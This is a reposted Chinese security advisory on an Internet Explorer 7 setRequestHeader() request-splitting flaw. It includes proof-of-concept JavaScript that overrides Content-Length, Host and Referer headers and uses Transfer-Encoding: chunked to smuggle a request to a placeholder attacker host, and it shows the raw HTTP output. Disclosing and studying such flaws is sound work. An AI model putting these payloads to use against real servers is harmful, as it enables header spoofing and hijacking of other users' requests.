MS IE 7 setRequestHeader() 请求拆分和渗透漏洞 2008-03-28 16:25:22 www.hackbase.com 来源:互联网
受影响系统:Microsoft Internet Explorer 7.0.5730.11- Microsoft Windows XP SP2 描述:Internet Explorer是微软发布的非常流行的WEB浏览器。 IE 7允许通过HTTP请求拆分攻击覆盖Content-Length、Host和Refe ...
受影响系统:
Microsoft Internet Explorer 7.0.5730.11
- Microsoft Windows XP SP2
描述:
Internet Explorer是微软发布的非常流行的WEB浏览器。
IE 7允许通过HTTP请求拆分攻击覆盖Content-Length、Host和Referer等HTTP头,导致HTTP头信息欺骗。
类似于以下javascript:
var x=new XMLHttpRequest();
x.open("POST","/");
for(f=127;f<255;f++)
try{
x.setRequestHeader("Host"+String.fromCharCode(f),"Test");
}catch(dd){}
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
if (x.readyState == 4){
}
}
x.send("blah");
会覆盖以下头:
- Content-Length
x.setRequestHeader("Content-Length"+String.fromCharCode(201),"0");
x.setRequestHeader("Content-Length"+String.fromCharCode(233),"0");
x.setRequestHeader("Content-Length"+String.fromCharCode(240)+String.fromCharCode(213),"0");
- Host
x.setRequestHeader("Host"+String.fromCharCode(223), "www.microsoft.com");
- Referer
x.setRequestHeader("Referer"+String.fromCharCode(205)+String.fromCharCode(155),"http://www.referrer.tld");
x.setRequestHeader("Referer"+String.fromCharCode(237)+String.fromCharCode(155),"http://www.referrer.tld");
Internet Explorer 7允许在setRequestHeader中设置Transfer Encoding: chunked头,导致Http请求拆分/渗透漏洞。
假设存在反射跨站脚本漏洞影响的站点与攻击者的站点托管在同一台主机上,且用户没有配置代理,由于IE7允许设置
setRequestHeader("Transfer-Encoding","chunked");
因此就允许将POST请求中的负载用作Web服务器的其他请求。例如:
var x=new XMLHttpRequest();
for(var i =0; i<1;i++){
x.open("POST","/");
x.setRequestHeader("Transfer-Encoding","chunked");
x.setRequestHeader("Proxy-Connection","keep-alive");
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
if (x.readyState == 4){
}
}
try{
x.send("0/r/n/r/nPOST / HTTP/1.1/r/nHost:
at.tack.er/r/nContent-Length: SOMELENGTH/r/n/r/n") }catch(r){} }
请求会变为:
POST / HTTP/1.1
Accept: */*
Accept-Language: it
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
Referer: http://vi.ct.im/
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: at.tack.er
Content-Length: 67
0
POST /?Send1 HTTP/1.1
Host: at.tack.er
Content-Length: TheLenghtOfTheNextRequest
这样Web服务器就会打开套接字等待负载。
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/windows/ie/default.asp
关键字:IE7 漏洞
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://www.hackbase.com/tech/2008-03-28/40369.html
分享到:
相关推荐
ajax 请求头部设置 XMLHTTP中setRequestHeader参数问题
在VB6(Visual Basic 6)编程环境中,GET和POST是两种主要的HTTP请求方法,用于从Web服务器获取数据或提交数据。...理解和掌握异步请求的原理和实现方式,对于提升VB6应用程序的性能和用户体验至关重要。
在registerServer函数中,使用open方法设置请求方式和URL,setRequestHeader方法设置请求头,send方法发送请求。同时,使用onreadystatechange事件监听服务器响应的状态变化,更新页面内容。 在callBack函数中,...
.SetRequestHeader header.Key, header.Value Next header End If .Send (postData) SendHttpRequest = .ResponseText End With End Function ``` 上述代码创建了一个`Microsoft.XMLHTTP`对象,这个对象提供...
这些Header会随请求一起发送到服务器,服务器端可以根据这些信息进行相应的验证和处理。 对于“YanHandong”这个文件名,可能指的是作者或者一个项目名称,但没有具体的文件内容,所以无法提供更深入的细节。在实际...
总结来说,这个jQuery+AJAX的实例展示了如何利用jQuery的$.ajax方法进行异步数据请求,包括设置请求参数、处理返回数据和异常情况。在实际开发中,我们需要根据项目需求灵活运用这些技巧,以实现高效、友好的前端...
在Ajax中,主要使用的请求方式有两种:GET和POST。 **GET请求** GET是HTTP协议中最常见的请求方法之一,主要用于获取服务器上的资源。在Ajax中,使用GET请求时,请求的数据会被附加到URL后面,以问号分隔,形成一个...
- **GET请求的缓存问题**:IE浏览器会缓存GET请求。为防止这种情况,可以在URL后添加一个随机数或者时间戳,如`'check_uname.do?username=tom×tamp=' + new Date().getTime()`。 ### 乱码问题与解决 - **POST...
**基于JSON的AJAX请求案例** ...通过创建XMLHttpRequest对象、设置请求参数和处理响应,以及在服务器端处理请求,我们可以实现在客户端和服务器之间的无刷新数据交换。这个过程对于实现动态网页和实时应用至关重要。
`open()`方法接收三个参数:请求类型(GET)、请求URL和是否异步执行,`send()`方法通常传入空值,因为GET请求的数据是附加在URL后面的。 ```javascript var xhr = new XMLHttpRequest(); xhr.open('GET', '...
Ajax异步请求在提升Web应用性能和用户体验方面发挥着重要作用。结合加载效果,我们可以为用户提供一个流畅且反馈及时的交互环境,尤其是在处理长时间运行任务时。通过合理的设计和编程实践,我们可以让Ajax请求变得...
本篇将重点讲解如何使用POST方式发送AJAX请求,并对表单数据进行封装。 一、AJAX基本原理 AJAX基于JavaScript的XMLHttpRequest对象,该对象是浏览器内置的对象,用于在后台与服务器进行通信。通过创建...
通过设置HTTP头信息或修改URL参数,我们可以有效地解决IE和其他浏览器的缓存问题,确保每次Ajax请求都能获取到最新的服务器数据。同时,了解JavaScript对象和属性的使用也是提升Ajax编程技能的重要环节。
本教程将深入探讨如何在Java Web应用中使用Ajax进行网络请求和数据交互。 首先,Ajax的核心是JavaScript,它通过XMLHttpRequest对象与服务器进行通信。在Java Web环境中,通常结合Servlet来处理这些后台请求。在...
JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,它基于JavaScript的一个子集,易于人阅读和编写,同时也易于机器解析和生成。在Web服务和客户端应用中,JSON广泛用于数据传输,因为它比XML更加简洁...
xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({key1: 'value1', key2: 'value2'})); ``` **4. 平台接收与处理**:在Java后端,使用如Spring MVC或Jersey等框架,可以方便地...
在上述代码片段中提到了一个关于浏览器兼容性的问题:“在 Firefox 12 中使用时,无法在 IE 和 Chrome 中使用,需要进行一些修改。”这可能是由于不同浏览器对 XMLHttpRequest 对象的支持程度不同所导致的。 解决这...
jquery是js的类库,js本身不能操作header,因为js是在浏览器加载页面过程中才开始执行的header需要服务器端执行操作 如果是ajax,是可以设置header $.ajax({ url: "", ...如何在ajax请求中设置特殊的Requ
- **JavaScript**: 用于创建和控制AJAX请求。 - **XMLHttpRequest对象**: 这是AJAX的核心,它允许JavaScript向服务器发送异步请求。 - **DOM (Document Object Model)**: 用于解析和操作HTML或XML文档。 - **CSS**: ...